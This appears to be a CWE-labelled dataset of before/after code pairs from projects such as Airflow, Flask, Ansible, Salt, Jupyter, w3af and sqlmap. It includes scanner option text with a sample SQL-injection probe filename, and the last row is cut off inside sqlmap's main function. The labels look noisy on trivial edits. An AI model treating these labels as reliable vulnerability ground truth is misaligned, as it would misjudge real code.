        smart_sensor_dag_folder = airflow.smart_sensor_dags.__path__[0]
        for root, _, files in os.walk(smart_sensor_dag_folder):
            for file_name in files:
                if (file_name.endswith('.py') or file_name.endswith('.zip')) and file_name not in [
                    '__init__.py'
                ]:
                    expected_files.add(os.path.join(root, file_name))
        detected_files.clear()
        for file_path in list_py_file_paths(
            TEST_DAG_FOLDER, include_examples=True, include_smart_sensor=True
        ):
            detected_files.add(file_path)
        assert detected_files == expected_files"
,UNKNOWN,UNKNOWN,tests/cli/commands/remote_commands/test_asset_command.py,1,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    run_list = json.loads(temp_stdout.getvalue())
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic = {
        ""dag_run_id"": None,
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
        ""run_after"": None,
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""external_trigger"": ""True"",
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
    }",CWE-703,apache/airflow,50c40477d8eb4882475024c41c7c1f4b75bd327b,"def test_cli_assets_materialize(parser: ArgumentParser) -> None:
    args = parser.parse_args([""assets"", ""materialize"", ""--name=asset1_producer"", ""--output=json""])
    with contextlib.redirect_stdout(io.StringIO()) as temp_stdout:
        asset_command.asset_materialize(args)

    run_list = json.loads(temp_stdout.getvalue())
    assert len(run_list) == 1

    # No good way to statically compare these.
    undeterministic = {
        ""dag_run_id"": None,
        ""data_interval_end"": None,
        ""data_interval_start"": None,
        ""logical_date"": None,
        ""queued_at"": None,
    }

    assert run_list[0] | undeterministic == undeterministic | {
        ""conf"": {},
        ""dag_id"": ""asset1_producer"",
        ""end_date"": None,
        ""external_trigger"": ""True"",
        ""last_scheduling_decision"": None,
        ""note"": None,
        ""run_type"": ""manual"",
        ""start_date"": None,
        ""state"": ""queued"",
        ""triggered_by"": ""cli"",
    }"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,core/controllers/miscSettings.py,0,"def getOptions( self ):
        '''
        @return: A list of option objects for this plugin.
        '''
        ######## Fuzzer parameters ########
        d1 = 'Indicates if w3af plugins will use cookies as a fuzzable parameter'
        o1 = option('fuzzCookie', cf.cf.getData('fuzzableCookie'), d1, 'boolean', tabid='Fuzzer parameters')

        d2 = 'Indicates if w3af plugins will send the fuzzed payload to the file forms'
        o2 = option('fuzzFileContent', cf.cf.getData('fuzzFileContent'), d2, 'boolean', tabid='Fuzzer parameters')
        
        d3 = 'Indicates if w3af plugins will send fuzzed filenames in order to find vulnerabilities'
        h3 = 'For example, if the discovered URL is http://test/filename.php, and fuzzFileName is enabled, w3af will request among other things: http://test/file\'a\'a\'name.php in order to find SQL injections. This type of vulns are getting more common every day!'
        o3 = option('fuzzFileName', cf.cf.getData('fuzzFileName'), d3, 'boolean', help=h3, tabid='Fuzzer parameters')
        
        d4 = 'Indicates the extension to use when fuzzing file content'
        o4 = option('fuzzFCExt', cf.cf.getData('fuzzFCExt'), d4, 'string', tabid='Fuzzer parameters')

        d5 = 'A list with all fuzzable header names'
        o5 = option('fuzzableHeaders', cf.cf.getData('fuzzableHeaders'), d5, 'list', tabid='Fuzzer parameters')
        
        ######## Core parameters ########
        d6 = 'Automatic dependency enabling for plugins'
        h6 = 'If autoDependencies is enabled, and pluginA depends on pluginB that wasn\'t enabled, then pluginB is automatically enabled.'
        o6 = option('autoDependencies', cf.cf.getData('autoDependencies'), d6, 'boolean', help=h6, tabid='Core settings')

        d7 = 'Maximum depth of the discovery phase'
        h7 = 'For example, if set to 10, the webSpider plugin will only follow 10 link levels while spidering the site. This applies to the whole discovery phase; not only to the webSpider.'
        o7 = option('maxDepth', cf.cf.getData('maxDepth'), d7, 'integer', help=h7, tabid='Core settings')
        
        d8 = 'Maximum number of threads that the w3af process will spawn'
        o8 = option('maxThreads', cf.cf.getData('maxThreads'), d8, 'integer', tabid='Core settings')
        
        d9 = 'Maximum number of times the discovery function is called'
        o9 = option('maxDiscoveryLoops', cf.cf.getData('maxDiscoveryLoops'), d9, 'integer', tabid='Core settings')
        
        ######## Network parameters ########
        d10 = 'Local interface name to use when sniffing, doing reverse connections, etc.'
        o10 = option('interface', cf.cf.getData('interface'), d10, 'string', tabid='Network settings')

        d11 = 'Local IP address to use when doing reverse connections'
        o11 = option('localAddress', cf.cf.getData('localAddress'), d11, 'string', tabid='Core settings')
        
        ######### Misc ###########
        d12 = 'Enable this when you are doing a demo in a conference'
        o12 = option('demo', cf.cf.getData('demo'), d12, 'boolean', tabid='Misc settings')
        
        d13 = 'Enables or disables the progress bar that is shown by audit plugins'
        o13 = option('showProgressBar', cf.cf.getData('showProgressBar'), d13, 'boolean', tabid='Misc settings')
        
        d14 = 'A comma separated list of URLs that w3af should completely ignore'
        h14 = 'Sometimes it\'s a good idea to ignore some URLs and test them manually'
        o14 = option('nonTargets', cf.cf.getData('nonTargets'), d14, 'list', tabid='Misc settings')
        
        ol = optionList()
        ol.add(o1)
        ol.add(o2)
        ol.add(o3)
        ol.add(o4)
        ol.add(o5)
        ol.add(o6)
        ol.add(o7)
        ol.add(o8)
        ol.add(o9)
        ol.add(o10)
        ol.add(o11)
        ol.add(o12)
        ol.add(o13)
        ol.add(o14)
        return ol",,andresriancho/w3af,53792f5b0218f45b118b696e623728052a68511b,"def getOptions( self ):
        '''
        @return: A list of option objects for this plugin.
        '''
        ######## Fuzzer parameters ########
        d1 = 'Indicates if w3af plugins will use cookies as a fuzzable parameter'
        o1 = option('fuzzCookie', cf.cf.getData('fuzzableCookie'), d1, 'boolean', tabid='Fuzzer parameters')

        d2 = 'Indicates if w3af plugins will send the fuzzed payload to the file forms'
        o2 = option('fuzzFileContent', cf.cf.getData('fuzzFileContent'), d2, 'boolean', tabid='Fuzzer parameters')
        
        d3 = 'Indicates if w3af plugins will send fuzzed filenames in order to find vulnerabilities'
        h3 = 'For example, if the discovered URL is http://test/filename.php, and fuzzFileName is enabled, w3af will request among other things: http://test/file\'a\'a\'name.php in order to find SQL injections. This type of vulns are getting more common every day!'
        o3 = option('fuzzFileName', cf.cf.getData('fuzzFileName'), d3, 'boolean', help=h3, tabid='Fuzzer parameters')
        
        d4 = 'Indicates the extension to use when fuzzing file content'
        o4 = option('fuzzFCExt', cf.cf.getData('fuzzFCExt'), d4, 'string', tabid='Fuzzer parameters')

        d5 = 'A list with all fuzzable header names'
        o5 = option('fuzzableHeaders', cf.cf.getData('fuzzableHeaders'), d5, 'list', tabid='Fuzzer parameters')
        
        ######## Core parameters ########
        d6 = 'Automatic dependency enabling for plugins'
        h6 = 'If autoDependencies is enabled, and pluginA depends on pluginB that wasn\'t enabled, then pluginB is automatically enabled.'
        o6 = option('autoDependencies', cf.cf.getData('autoDependencies'), d6, 'boolean', help=h6, tabid='Core settings')

        d7 = 'Maximum depth of the discovery phase'
        h7 = 'For example, if set to 10, the webSpider plugin will only follow 10 link levels while spidering the site. This applies to the whole discovery phase; not only to the webSpider.'
        o7 = option('maxDepth', cf.cf.getData('maxDepth'), d7, 'integer', help=h7, tabid='Core settings')
        
        d8 = 'Maximum number of threads that the w3af process will spawn'
        o8 = option('maxThreads', cf.cf.getData('maxThreads'), d8, 'integer', tabid='Core settings')
        
        d9 = 'Maximum number of times the discovery function is called'
        o9 = option('maxDiscoveryLoops', cf.cf.getData('maxDiscoveryLoops'), d9, 'integer', tabid='Core settings')
        
        ######## Network parameters ########
        d10 = 'Local interface name to use when sniffing, doing reverse connections, etc.'
        o10 = option('interface', cf.cf.getData('interface'), d10, 'string', tabid='Network settings')

        d11 = 'Local IP address to use when doing reverse connections'
        o11 = option('localAddress', cf.cf.getData('localAddress'), d11, 'string', tabid='Core settings')
        
        ######### Misc ###########
        d12 = 'Enable this when you are doing a demo in a conference'
        o12 = option('demo', cf.cf.getData('demo'), d12, 'boolean', tabid='Misc settings')
        
        d13 = 'Enables or disables the progress bar that is shown by audit plugins'
        o13 = option('showProgressBar', cf.cf.getData('showProgressBar'), d13, 'boolean', tabid='Misc settings')
        
        d14 = 'A comma separated list of URLs that w3af should completely ignore'
        h14 = 'Sometimes it\'s a good idea to ignore some URLs and test them manually'
        o14 = option('nonTarget', cf.cf.getData('nonTarget'), d14, 'list', tabid='Misc settings')
        
        ol = optionList()
        ol.add(o1)
        ol.add(o2)
        ol.add(o3)
        ol.add(o4)
        ol.add(o5)
        ol.add(o6)
        ol.add(o7)
        ol.add(o8)
        ol.add(o9)
        ol.add(o10)
        ol.add(o11)
        ol.add(o12)
        ol.add(o13)
        ol.add(o14)
        return ol"
,UNKNOWN,UNKNOWN,tests/test_appctx.py,1,"def test_app_ctx_globals_methods(app, app_ctx):
    # get
    assert flask.g.get('foo') is None
    assert flask.g.get('foo', 'bar') == 'bar'
    # __contains__
    assert 'foo' not in flask.g
    flask.g.foo = 'bar'
    assert 'foo' in flask.g
    # setdefault
    flask.g.setdefault('bar', 'the cake is a lie')
    flask.g.setdefault('bar', 'hello world')
    assert flask.g.bar == 'the cake is a lie'
    # pop
    assert flask.g.pop('bar') == 'the cake is a lie'
    with pytest.raises(KeyError):
        flask.g.pop('bar')
    assert flask.g.pop('bar', 'more cake') == 'more cake'
    # __iter__
    assert list(flask.g) == ['foo']
    #__repr__
    assert repr(flask.g) == ""<flask.g of 'flask_test'>""",CWE-703,pallets/flask,8fa3ed13bf362a71f942ed3d37efbdbdd5731375,"def test_app_ctx_globals_methods(app, app_ctx):
    # get
    assert flask.g.get('foo') is None
    assert flask.g.get('foo', 'bar') == 'bar'
    # __contains__
    assert 'foo' not in flask.g
    flask.g.foo = 'bar'
    assert 'foo' in flask.g
    # setdefault
    flask.g.setdefault('bar', 'the cake is a lie')
    flask.g.setdefault('bar', 'hello world')
    assert flask.g.bar == 'the cake is a lie'
    # pop
    assert flask.g.pop('bar') == 'the cake is a lie'
    with pytest.raises(KeyError):
        flask.g.pop('bar')
    assert flask.g.pop('bar', 'more cake') == 'more cake'
    # __iter__
    assert list(flask.g) == ['foo']
    #__repr__
    assert flask.g.__repr__() == '<flask.g of \'flask_test\'>'"
,UNKNOWN,UNKNOWN,tests/api_connexion/endpoints/test_task_endpoint.py,1,"def test_should_respond_200(self):
        expected = {
            ""class_ref"": {
                ""class_name"": ""EmptyOperator"",
                ""module_path"": ""airflow.operators.empty"",
            },
            ""depends_on_past"": False,
            ""downstream_task_ids"": [self.task_id2],
            ""end_date"": None,
            ""execution_timeout"": None,
            ""extra_links"": [],
            ""operator_name"": ""EmptyOperator"",
            ""owner"": ""airflow"",
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.models.param.Param"",
                    ""value"": ""bar"",
                    ""description"": None,
                    ""schema"": {},
                }
            },
            ""pool"": ""default_pool"",
            ""pool_slots"": 1.0,
            ""priority_weight"": 1.0,
            ""queue"": ""default"",
            ""retries"": 0.0,
            ""retry_delay"": {""__type"": ""TimeDelta"", ""days"": 0, ""seconds"": 300, ""microseconds"": 0},
            ""retry_exponential_backoff"": False,
            ""start_date"": ""2020-06-15T00:00:00+00:00"",
            ""task_id"": ""op1"",
            ""task_display_name"": ""op1"",
            ""template_fields"": [],
            ""trigger_rule"": ""all_success"",
            ""ui_color"": ""#e8f7e4"",
            ""ui_fgcolor"": ""#000"",
            ""wait_for_downstream"": False,
            ""weight_rule"": ""downstream"",
            ""is_mapped"": False,
            ""doc_md"": None,
        }
        response = self.client.get(
            f""/api/v1/dags/{self.dag_id}/tasks/{self.task_id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        assert response.json == expected",CWE-703,apache/airflow,587a5744e8bd62afc30b0f0fc9f873672ba7873d,"def test_should_respond_200(self):
        expected = {
            ""class_ref"": {
                ""class_name"": ""EmptyOperator"",
                ""module_path"": ""airflow.operators.empty"",
            },
            ""depends_on_past"": False,
            ""downstream_task_ids"": [self.task_id2],
            ""end_date"": None,
            ""execution_timeout"": None,
            ""extra_links"": [],
            ""operator_name"": ""EmptyOperator"",
            ""owner"": ""airflow"",
            ""params"": {
                ""foo"": {
                    ""__class"": ""airflow.models.param.Param"",
                    ""value"": ""bar"",
                    ""description"": None,
                    ""schema"": {},
                }
            },
            ""pool"": ""default_pool"",
            ""pool_slots"": 1.0,
            ""priority_weight"": 1.0,
            ""queue"": ""default"",
            ""retries"": 0.0,
            ""retry_delay"": {""__type"": ""TimeDelta"", ""days"": 0, ""seconds"": 300, ""microseconds"": 0},
            ""retry_exponential_backoff"": False,
            ""start_date"": ""2020-06-15T00:00:00+00:00"",
            ""task_id"": ""op1"",
            ""task_display_name"": ""op1"",
            ""template_fields"": [],
            ""trigger_rule"": ""all_success"",
            ""ui_color"": ""#e8f7e4"",
            ""ui_fgcolor"": ""#000"",
            ""wait_for_downstream"": False,
            ""weight_rule"": ""downstream"",
            ""is_mapped"": False,
        }
        response = self.client.get(
            f""/api/v1/dags/{self.dag_id}/tasks/{self.task_id}"", environ_overrides={""REMOTE_USER"": ""test""}
        )
        assert response.status_code == 200
        assert response.json == expected"
,UNKNOWN,UNKNOWN,lib/ansible/inventory/__init__.py,1,"def _enumeration_info(self, pattern):
        """"""
        returns (pattern, limits) taking a regular pattern and finding out
        which parts of it correspond to start/stop offsets.  limits is
        a tuple of (start, stop) or None
        """"""

        # The regex used to match on the range, which can be [x] or [x-y].
        pattern_re = re.compile(""^(.*)\[([0-9]+)(?:(?:-)([0-9]+))?\](.*)$"")
        m = pattern_re.match(pattern)
        if m:
            (target, first, last, rest) = m.groups()
            first = int(first)
            if last:
                last = int(last)
            else:
                last = first
            return (target, (first, last))
        else:
            return (pattern, None)",CWE-703,ansible/ansible,ca0ec800d8b6d2dee99d5e13ae8891f8cd455277,"def _enumeration_info(self, pattern):
        """"""
        returns (pattern, limits) taking a regular pattern and finding out
        which parts of it correspond to start/stop offsets.  limits is
        a tuple of (start, stop) or None
        """"""

        if not ""["" in pattern or pattern.startswith('~'):
            return (pattern, None)
        (first, rest) = pattern.split(""["")
        rest = rest.replace(""]"","""")
        try:
            # support selectors like webservers[0]
            x = int(rest)
            return (first, (x,x)) 
        except:
            pass
        if ""-"" in rest:
            (left, right) = rest.split(""-"",1)
            return (first, (left, right))
        elif "":"" in rest:
            (left, right) = rest.split("":"",1)
            return (first, (left, right))
        else:
            return (first, (rest, rest))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/macports.py,0,"def latest_version(*names, **kwargs):
    '''
    Return the latest version of the named package available for upgrade or
    installation

    Options:

    refresh
        Update ports with ``port selfupdate``

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.latest_version <package name>
        salt '*' pkg.latest_version <package1> <package2> <package3>
    '''

    if salt.utils.is_true(kwargs.get('refresh', True)):
        refresh_db()

    available = _list(' '.join(names)) or {}
    installed = __salt__['pkg.list_pkgs']() or {}

    ret = {}

    for k, v in available.items():
        if k not in installed or salt.utils.compare_versions(ver1=installed[k], oper='<', ver2=v):
            ret[k] = v
        else:
            ret[k] = ''

    # Return a string if only one package name passed
    if len(names) == 1:
        return ret[names[0]]

    return ret",,saltstack/salt,5bd00c9dab08ab3bf3df1e6f6ec9cfb55945000d,"def latest_version(*names, **kwargs):
    '''
    Return the latest version of the named package available for upgrade or
    installation

    Options:

    refresh
        Update ports with ``port selfupdate``

    CLI Example:

    .. code-block:: bash

        salt '*' pkg.latest_version <package name>
        salt '*' pkg.latest_version <package1> <package2> <package3>
    '''

    if salt.utils.is_true(kwargs.get('refresh', True)):
        refresh_db()

    available = _list(' '.join(names)) or {}
    installed = __salt__['pkg.list_pkgs']() or {}

    ret = {}

    for k, v in available.items():
        if not k in installed or salt.utils.compare_versions(ver1=installed[k], oper='<', ver2=v):
            ret[k] = v
        else:
            ret[k] = ''

    # Return a string if only one package name passed
    if len(names) == 1:
        return ret[names[0]]

    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/tests/test_files.py,0,"def test_hidden_files(self):
        not_hidden = [
            u'å b',
            u'å b/ç. d',
        ]
        hidden = [
            u'.å b',
            u'å b/.ç d',
        ]
        dirs = not_hidden + hidden
        
        nbdir = self.notebook_dir
        for d in dirs:
            path = pjoin(nbdir, d.replace('/', os.sep))
            if not os.path.exists(path):
                os.mkdir(path)
            with open(pjoin(path, 'foo'), 'w') as f:
                f.write('foo')
            with open(pjoin(path, '.foo'), 'w') as f:
                f.write('.foo')
        
        for d in not_hidden:
            path = pjoin(nbdir, d.replace('/', os.sep))
            r = self.request('GET', url_path_join('files', d, 'foo'))
            r.raise_for_status()
            self.assertEqual(r.text, 'foo')
            r = self.request('GET', url_path_join('files', d, '.foo'))
            self.assertEqual(r.status_code, 404)
            
        for d in hidden:
            path = pjoin(nbdir, d.replace('/', os.sep))
            for foo in ('foo', '.foo'):
                r = self.request('GET', url_path_join('files', d, foo))
                self.assertEqual(r.status_code, 404)",,jupyter/notebook,4a16c37caae960e255bd3c3a5266306dd388ae75,"def test_hidden_files(self):
        not_hidden = [
            u'å b',
            u'å b/ç. d',
        ]
        hidden = [
            u'.å b',
            u'å b/.ç d',
        ]
        dirs = not_hidden + hidden
        
        nbdir = self.notebook_dir.name
        for d in dirs:
            path = pjoin(nbdir, d.replace('/', os.sep))
            if not os.path.exists(path):
                os.mkdir(path)
            with open(pjoin(path, 'foo'), 'w') as f:
                f.write('foo')
            with open(pjoin(path, '.foo'), 'w') as f:
                f.write('.foo')
        
        for d in not_hidden:
            path = pjoin(nbdir, d.replace('/', os.sep))
            r = self.request('GET', url_path_join('files', d, 'foo'))
            r.raise_for_status()
            self.assertEqual(r.text, 'foo')
            r = self.request('GET', url_path_join('files', d, '.foo'))
            self.assertEqual(r.status_code, 404)
            
        for d in hidden:
            path = pjoin(nbdir, d.replace('/', os.sep))
            for foo in ('foo', '.foo'):
                r = self.request('GET', url_path_join('files', d, foo))
                self.assertEqual(r.status_code, 404)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.profile:
                from lib.core.profiling import profile
                profile()
            elif conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                try:
                    start()
                except thread.error as ex:
                    if ""can't start new thread"" in getSafeExString(ex):
                        errMsg = ""unable to start new threads. Please check OS (u)limits""
                        logger.critical(errMsg)
                        raise SystemExit
                    else:
                        raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package""
                errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif ""'DictObject' object has no attribute '"" in excMsg and all(_ in errMsg for _ in (""(fingerprinted)"", ""(identified)"")):
                errMsg = ""there has been a problem in enumeration. ""
                errMsg += ""Because of a considerable chance of false-positive case ""
                errMsg += ""you are advised to rerun with switch '--flush-session'""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""url = url.strip()"" in excMsg:
                dataToStdout(excMsg)
                print
                errMsg = ""please contact 'miroslav@sqlmap.org' with details for this issue ""
                errMsg += ""as he is trying to reproduce it for long time""
                logger.error(errMsg)
                raise SystemExit

            elif kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            elif any(_ in excMsg for _ in (""Broken pipe"",)):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if conf.get(""api"") or not valid:
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        kb.threadException = True

        if kb.get(""tempDir""):
            for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                    try:
                        os.remove(filepath)
                    except OSError:
                        pass
            if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if conf.get(""harFile""):
            with openFile(conf.harFile, ""w+b"") as f:
                json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': '))

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if conf.get(""api""):
            try:
                conf.databaseCursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass
        finally:
            # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
            if threading.activeCount() > 1:
                os._exit(0)",,sqlmapproject/sqlmap,c7329cb03baabf753b97d08037ab34b649b6ba29,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()
        setPaths(modulePath())
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if conf.get(""api""):
            # heavy imports
            from lib.utils.api import StdDbOut
            from lib.utils.api import setRestAPILog

            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if not conf.updateAll:
            # Postponed imports (faster start)
            if conf.profile:
                from lib.core.profiling import profile
                profile()
            elif conf.smokeTest:
                from lib.core.testing import smokeTest
                smokeTest()
            elif conf.liveTest:
                from lib.core.testing import liveTest
                liveTest()
            else:
                from lib.controller.controller import start
                try:
                    start()
                except thread.error as ex:
                    if ""can't start new thread"" in getSafeExString(ex):
                        errMsg = ""unable to start new threads. Please check OS (u)limits""
                        logger.critical(errMsg)
                        raise SystemExit
                    else:
                        raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()
        valid = checkIntegrity()

        try:
            if valid is False:
                errMsg = ""code integrity check failed (turning off automatic issue creation). ""
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""tamper/"", ""waf/"")):
                logger.critical(errMsg)
                print
                dataToStdout(excMsg)
                raise SystemExit

            elif ""MemoryError"" in excMsg:
                errMsg = ""memory exhaustion detected""
                logger.error(errMsg)
                raise SystemExit

            elif any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""No such file"", ""_'"", ""self.get_prog_name()"")):
                errMsg = ""corrupted installation detected ('%s'). "" % excMsg.strip().split('\n')[-1]
                errMsg += ""You should retrieve the latest development version from official GitHub ""
                errMsg += ""repository at '%s'"" % GIT_PAGE
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""OperationalError: disk I/O error"" in excMsg:
                errMsg = ""I/O error on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Violation of BIDI"" in excMsg:
                errMsg = ""invalid URL (violation of Bidi IDNA rule - RFC 5893)""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""twophase"", ""sqlalchemy"")):
                errMsg = ""please update the 'sqlalchemy' package""
                errMsg += ""(Reference: https://github.com/apache/incubator-superset/issues/3447)""
